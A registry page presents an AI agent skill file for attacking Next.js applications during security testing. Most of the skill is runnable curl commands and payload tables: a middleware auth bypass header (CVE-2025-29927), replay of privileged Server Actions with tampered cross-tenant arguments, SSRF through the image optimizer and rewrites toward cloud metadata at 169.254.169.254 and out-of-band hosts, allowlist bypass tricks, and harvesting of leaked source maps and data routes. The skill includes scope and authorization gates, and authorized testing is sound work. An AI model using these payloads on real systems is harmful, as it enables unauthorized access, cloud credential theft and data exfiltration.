nextjs
Skill0 starsChanged 18 days agoMITView on GitHub
Hunt for Next.js-specific weaknesses: Server Action abuse (unauthenticated action IDs, argument tampering), middleware auth bypass (CVE-2025-29927 x-middleware-subrequest), image optimizer SSRF (/_next/image?url=), data/source-map leaks under /_next/ (RSC payloads, __NEXT_DATA__, .map files), and SSRF via rewrites/proxies in next.config. Use when the target is a Next.js app (App Router or Pages Router) — look for /_next/, __NEXT_DATA__, RSC flight payloads, Server Action POST bodies, or x-powered-by/next headers. Keywords: nextjs, next.js, server actions, rsc, react server components, middleware bypass, x-middleware-subrequest, _next/image, image optimizer ssrf, __NEXT_DATA__, next data leak, rewrites ssrf, app router. Do NOT use for generic SSRF (use ssrf) or Node-runtime issues not specific to Next (use nodejs).
- Sends data out
49 other projects use a version of this.
Adopted by
Most recently taken up by
- Ghost7802/awesome-api-skillstheir own version, first seen Nov 29, 2026
- amutaal122/ai-engineer-mastertheir own version, first seen Nov 29, 2026
- davidvornholt/mail-mcptheir own version, first seen Nov 28, 2026
- davidvornholt/mailboxtheir own version, first seen Nov 28, 2026
- prasangaramanpokharel/skillstheir own version, first seen Nov 22, 2026
- Taimoor-Kamran/claude-code-skillstheir own version, first seen Nov 22, 2026
Used with
Projects with it also use declarative-infra, screenshots-in-prs and 10 more.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
davidvornholtSkilldeclarative-infra
Use when changing hosted infrastructure, such as server NixOS configurations, OpenTofu, cloud resources, infrastructure secrets, deployments, or provider credentials, even when another repository owns them.
Also in 3 projects that use this
davidvornholtSkillscreenshots-in-prs
Use when opening or editing a pull request for a change to rendered UI.
Also in 3 projects that use this
cordanaLLMSkillstandards-sync
Synchronize and reconcile local repository configurations, DevContainers, and universal agent harnesses with the governed repositories governance lattice.
Also in 3 projects that use this
poorvith-mpSkillci-pipelines
Build CI/CD with build, test, security scan and deploy stages across common providers. Use when setting up GitHub Actions, GitLab CI, or build pipelines.
Also in 3 projects that use this
jnotsknabSkillux-ui
Design usable, accessible, humane interfaces — interaction patterns, component states, forms, feedback, and WCAG compliance. Use when making decisions about how UI behaves, not just how it looks.
Also in 3 projects that use this
thongdn-itSkillnuqs
nuqs (type-safe URL query state) best practices for Next.js applications. This skill should be used when writing, reviewing, or refactoring code that uses nuqs for URL state management. Triggers on tasks involving useQueryState, useQueryStates, search params, URL state, query parameters, nuqs parsers, or Next.js routing with state.
Also in 3 projects that use this
- +1 more from davidvornholt
Other versions49 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 49
- openai/plugins★ 8.4ksame name
- udecode/better-convex★ 452same name
- leonvanzyl/agentic-coding-starter-kit★ 447same name
- kid-sid/claude-spellbook★ 190same name
- PyModel/react-frontend-skills★ 42same name
- nimadorostkar/Claude-Skills-collection★ 41same name
- faqndo97/ai-skills★ 33same name
- G1Joshi/Agent-Skills★ 15same name
- ulpi-io/browse★ 15same name
- Ghost7802/awesome-api-skills★ 13same name
39 more not listed
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository155 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-red-team-bridgeSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- sysprompt-analysisSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- artifact-cleanupSkill
- credential-hygieneSkill
- data-retentionSkill
- email-securitySkill
- engagement-flowSkill
- evidence-sealSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- security-policy-parserSkill
- 2fa-bypassSkill
- 403-bypassSkill
- api-abuseSkill
- aspnetSkill
- auth-bypassSkill
- authz-matrixSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- captcha-bypassSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- dom-basedSkill
- email-injectionSkill
- exceptional-conditionsSkill
- file-uploadSkill
- fuzzingSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
3 rules. 0 are common, 3 are distinctive, and 0 are very specific to this project.
0
Common
Most of the 44 edited versions we read keep these.
3
Distinctive
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 87
Test: calling a privileged action (delete, role-change, export) from an unprivileged session, and tampering serialized arguments to …
- Distinctive: line 116
Look for API keys, internal hostnames, unredacted PII, feature flags, or object IDs usable for idor.
- Distinctive: line 228
Before declaring this finding complete, probe these escalation paths:
“Common” is measured: kept by at least 6 in 10 of the 44 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
/_next/static/,/_next/data/,/_next/imagepaths;__NEXT_DATA__script blob in HTML; RSC "flight" payloads (lines beginning0:,1:,self.__next_f.push(...)).- Response headers
x-powered-by: Next.js,x-nextjs-cache,x-nextjs-prerender, or aVary: RSC, Next-Router-State-Treecombination. - Server Action POST requests: a
POSTto a regular page route carrying headerNext-Action: <40-hex-id>(App Router) orcontent-type: text/plain;charset=UTF-8with a serialized-args body, or multipart with$ACTION_ID_...fields. - A
middleware.js/middleware.tsedge layer doing auth/redirects (you infer it from 307/308 redirects to/login, orx-middleware-*response headers). next.config.jsrewrites/redirects/images.domains— rewrites that proxy to a backend URL derived from the request are an SSRF surface.
Prerequisites
- Confirmed Next.js and, ideally, its major version (read
/_next/static/chunks/filenames,__NEXT_DATA__.buildId, or anextversion string in a sourcemap) — the middleware-bypass and image-SSRF behaviours are version-gated. - For Server Actions: at least one observed
Next-Actionid from normal app traffic, and the ability to replay POSTs (Burp/curl). - For blind SSRF (image optimizer, rewrites): an OOB listener with per-attempt token (see skill
oob-interactionsandengine.oast).
Methodology
- Fingerprint surface and version. Pull the build and router flavour before probing:
curl -s https://target/ | grep -oE '"buildId":"[^"]+"|_next/static/[^"/]+' | sort -u curl -s -I https://target/ | grep -iE 'x-powered-by|x-nextjs|vary' # App Router apps emit RSC payloads; Pages Router apps emit a __NEXT_DATA__ JSON blob curl -s https://target/ | grep -o '__NEXT_DATA__' | head -1 - Middleware auth bypass (CVE-2025-29927). Vulnerable versions skip middleware when the
request carries an internal subrequest marker. Try to reach a route that middleware is
supposed to gate (e.g.
/dashboard,/admin) while asserting the marker:
A 200 with gated content on the header request (vs redirect without) is Demonstrated bypass. The header value must match the middleware module path repeated to the depth the version checks — vary the segment and depth.# baseline: should redirect/401 curl -s -o /dev/null -w "%{http_code}\n" https://target/admin # bypass attempt: claim the request already passed middleware curl -s -o /dev/null -w "%{http_code}\n" https://target/admin \ -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' # App-Router nested form also seen: src/middleware or pages/_middleware segments curl -s -o /dev/null -w "%{http_code}\n" https://target/admin \ -H 'x-middleware-subrequest: src/middleware:src/middleware:src/middleware' - Server Action abuse. Actions are addressable by their
Next-Actionid regardless of which page currently renders a button for them; authorization lives inside the action body, not in routing. Enumerate and replay:
Test: calling a privileged action (delete, role-change, export) from an unprivileged session, and tampering serialized arguments to reference other tenants' objects (overlaps idor/bac).# harvest action ids from client chunks (they appear as createServerReference('<hex>')) curl -s https://target/_next/static/chunks/ -o /dev/null # dir listing usually off; grep chunks instead curl -s "https://target/_next/static/chunks/app/page-<hash>.js" | grep -oE "createServerReference\\(\"[0-9a-f]{40}\"" # replay an action without visiting its page / without the UI-side guard curl -s -X POST https://target/any-rendered-route \ -H 'Next-Action: <40-hex-id>' -H 'content-type: text/plain;charset=UTF-8' \ --data '[{"targetUserId":"<other-tenant-id>"}]' - Image optimizer SSRF (
/_next/image). The optimizer fetchesurl=server-side; if the allowlist (images.domains/remotePatterns) is missing, wildcarded, or bypassable, it is an SSRF primitive. Mint an OOB token first for blind confirmation:
Note: the optimizer re-encodes to an image, so it is typically a blind SSRF — treat it like the ssrf skill's blind branch (OOB token mandatory; reflected bodies rare).python3 -m engine.oast token --audit-dir . --purpose blind-ssrf --vuln-class nextjs \ --target-url https://target/_next/image --parameter url curl -s -o /dev/null -w "%{http_code}\n" \ "https://target/_next/image?url=http://TOKEN.DOMAIN.oast.site/&w=64&q=75" python3 -m engine.oast poll --audit-dir . # internal / metadata reach (response is re-encoded to an image, so prefer timing/OOB oracle) curl -s -o /dev/null -w "%{http_code} %{time_total}\n" \ "https://target/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75" /_next/data and source-map leaks. Pull server-rendered props and maps that can carry secrets, internal IDs, or full source:
Look for API keys, internal hostnames, unredacted PII, feature flags, or object IDs usable for idor.# Pages Router data route exposes getServerSideProps output as JSON curl -s "https://target/_next/data/<buildId>/account.json" | head -c 2000 # source maps (if shipped to prod) reconstruct original TS and may embed tokens/comments curl -s "https://target/_next/static/chunks/pages/_app-<hash>.js.map" | head -c 400 # __NEXT_DATA__ / RSC payload often over-fetches: server props serialized into the HTML curl -s https://target/account | grep -o '__NEXT_DATA__.*</script>' | head -c 3000- SSRF / open-proxy via rewrites. A
rewrites()entry that forwards to a destination built from a path/query segment can be coerced to fetch attacker-chosen hosts:
Confirm via OOB token or an internal body that only a server-side fetch could reach.# if next.config rewrites /api/proxy/:path* -> https://backend/:path*, test host override curl -s "https://target/api/proxy/@TOKEN.DOMAIN.oast.site/" && python3 -m engine.oast poll --audit-dir . curl -s "https://target/api/proxy/..%2f..%2f@169.254.169.254/latest/meta-data/" - Confirm impact, stop at the gate. Record the exact primitive (middleware bypass, action abuse, SSRF, leak) and what it reaches. Using harvested cloud credentials or dumping another tenant's data is a new scope boundary — get the operator gate first.
Tooling
curl/ Burp Repeater — replay Server Actions and header-based bypasses precisely.ffuf— enumerate/_next/data/<buildId>/*.json, chunk hashes, and candidate action routes.interactsh/engine.oast— OOB confirmation for image-optimizer and rewrite SSRF (blind).nuclei -tags nextjs— triage known Next.js CVEs (verify version applicability; don't report on version match alone).- Browser devtools / a source-map parser (e.g.
sourcemapper) — reconstruct TS from shipped maps.
Root Causes
- Trust in a client-controllable internal marker (
x-middleware-subrequest) to decide whether middleware already ran — a header the edge should strip but doesn't (CVE-2025-29927). - Authorization implemented only in UI/routing, not inside the Server Action; actions remain callable by id from any route and any session.
- Serialized Server Action arguments accepted without re-validating object ownership/type server-side (mass-assignment / idor through the action boundary).
- Image optimizer / rewrite proxy fetching request-derived URLs with no destination allowlist, or
an allowlist defeated by
@, path confusion, or wildcardremotePatterns. - Source maps and verbose
getServerSideProps/RSC payloads shipped to production, serializing secrets, internal IDs, and over-fetched records into client-reachable responses.
Validation Gate (minimum proof)
- Demonstrated: gated content returned on the
x-middleware-subrequestrequest but not without it (middleware bypass); a privileged Server Action executed from an unauthorized session with the state change shown; a token-correlated OOB hit (or genuine internal body) from/_next/imageor a rewrite (SSRF); or a concrete secret/other-tenant record extracted from a/_next/data route, map, or__NEXT_DATA__blob. Payload + request/response included. - Inferred: the action id is reachable and returns a different error than the UI path (guard likely client-side only) but no privileged effect driven yet; a single image-optimizer timing delta toward an internal host with no OOB match; a version matching a CVE with partial but not conclusive trigger behaviour.
- Unproven: "runs Next.js version X, therefore CVE-2025-29927" with no bypass reproduced, or a present source map with no sensitive content extracted. Do not report.
- Name the exact mechanism (middleware / action / optimizer / rewrite / leak) — remediation differs per primitive.
Payloads & Detection Patterns
Guía de caza: una familia por primitiva de Next. Para los vectores SSRF (optimizer, rewrites) el
único camino a Demonstrated ciego es un hit correlacionado por token en el gate OOB.
| Categoría | Shape | Propósito |
| Middleware bypass | header x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware | Saltar auth/redirect del edge (CVE-2025-29927) |
| Server Action replay | POST /<ruta> + Next-Action: <40-hex> + body [{...args}] | Invocar acción privilegiada sin su UI/guard |
| Action arg tampering | --data '[{"id":"<otro-tenant>"}]' | idor/mass-assignment por la frontera de la acción |
| Image optimizer SSRF | /_next/image?url=http://TOKEN.DOMAIN/&w=64&q=75 | Fetch server-side a interno/IMDS (ciego) |
| Data route leak | /_next/data/<buildId>/<page>.json | Props server-side (secretos, IDs, PII) |
| Source-map leak | /_next/static/chunks/*.js.map | Reconstruir TS + secretos embebidos |
| Rewrite proxy SSRF | /api/proxy/@TOKEN.DOMAIN/ o ..%2f@169.254.169.254/ | Reusar el proxy del rewrite como SSRF |
Surface signals que delatan la clase antes de inyectar:
- URL:
/_next/image?url=,/_next/data/<buildId>/,/_next/static/chunks/*.js.map, rutas de rewrite tipo/api/proxy/*. - JS:
createServerReference("<hex>"),self.__next_f.push(,__NEXT_DATA__,buildIden chunks. - Headers:
Next-Action(request),x-powered-by: Next.js,x-nextjs-*,Vary: RSC.
# detección de versión y router (barato, sin tocar estado)
curl -s https://target/ | grep -oE '"buildId":"[^"]+"' | head -1
curl -s -I https://target/ | grep -iE 'x-powered-by: *next|x-nextjs'# diferencial de middleware bypass: compara código con y sin el marcador interno
base=$(curl -s -o /dev/null -w "%{http_code}" https://target/admin)
byp=$(curl -s -o /dev/null -w "%{http_code}" https://target/admin \
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware')
echo "sin_header=$base con_header=$byp" # 302/401 -> 200 = bypass candidato, confirmar contenido# SSRF ciego del optimizer con token OAST (gate obligatorio)
python3 -m engine.oast token --audit-dir . --purpose blind-ssrf --vuln-class nextjs \
--target-url https://target/_next/image --parameter url
curl -s -o /dev/null "https://target/_next/image?url=http://TOKEN.DOMAIN.oast.site/&w=64&q=75"
python3 -m engine.oast poll --audit-dir . # hit correlacionado = DemonstratedBypass Techniques
Agrupadas por la defensa que evaden; probar la familia completa antes de declarar no-vulnerable.
| Filtro evadido | Técnica | Notas |
| Edge debería stripear el marcador | Variar el path del módulo y la profundidad: middleware, src/middleware, pages/_middleware, repetido N veces | La versión chequea una profundidad concreta; barrer 1–6 repeticiones |
| Guard de acción solo en UI | Llamar el Next-Action id desde cualquier ruta renderizada, sin cargar su página | La autorización vive en el body de la acción, no en el routing |
images.domains allowlist | url=https://allowed.com@attacker/, url=//attacker/, o host en remotePatterns con wildcard | Discrepancia entre validador de host y el fetch real |
| Allowlist de rewrite por prefijo | @host tras el segmento, ..%2f traversal, doble slash | El destino se arma por concatenación de path |
| Source maps "no servidos" | Pedir .js.map directo aunque no esté referenciado | A veces quedan desplegados sin link |
| Data route oculta | Reconstruir buildId desde __NEXT_DATA__ y pedir /_next/data/<buildId>/<page>.json | Expone props de páginas no enlazadas |
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Middleware bypass → broken-access-control — Does the bypassed route expose admin functionality, other tenants' data, or internal APIs? Chain broken-access-control / idor.
- Server Action → mass-assignment / idor — Can tampered action arguments write fields or reference objects the caller should not own?
- Image optimizer / rewrite SSRF → cloud metadata — Does the SSRF primitive reach 169.254.169.254 or internal services? Chain ssrf → cloud credential theft (gate before use).
/_next/leak → credential reuse — Do leaked props/maps contain API keys, tokens, or internal hostnames usable elsewhere? Chain info-disclosure → credential-testing.- Action-reachable RCE surface — Does an action deserialize or shell out? Probe rce only with explicit authorization.
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- Middleware bypass → auth-bypass → broken-access-control (reach every route the edge guarded).
- Server Action replay + argument tampering → idor / mass-assignment → account/tenant takeover.
/_next/imageor rewrite SSRF → ssrf → cloud metadata credential theft (new scope — stop and escalate per Human gates)./_next/data/source-map leak → info-disclosure → credential-testing with leaked keys.- Leaked internal object IDs from
__NEXT_DATA__feed idor enumeration on API routes.
Gotchas
- Minimum proof, not tenant dump. One bypassed admin route or one cross-tenant action is the finding. Dumping the dataset is a new scope boundary — stop and get an operator gate.
- CVE-2025-29927 is version-gated. The accepted marker format and whether the edge strips it vary by Next version and hosting (self-hosted vs. a platform that sanitizes the header). A version match is Unproven until you reproduce gated content on the header request.
- Image optimizer is usually blind. It re-encodes the fetched bytes to an image, so you rarely get a reflected internal body — rely on the OOB token or a reliable timing oracle, and label accordingly; don't claim response-reflected SSRF.
- Action ids rotate per build. A harvested
Next-Actionid is tied to abuildId; after a deploy it changes. Re-harvest from current chunks rather than reusing stale ids. - Common N/A: middleware only sets non-security headers / i18n routing — bypassing it has no authz impact; record tested-and-safe.
- Overclaim trap: a present
.js.mapis not a finding by itself — only what it reveals (secrets, internal endpoints) is. An empty-ish map is Unproven.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

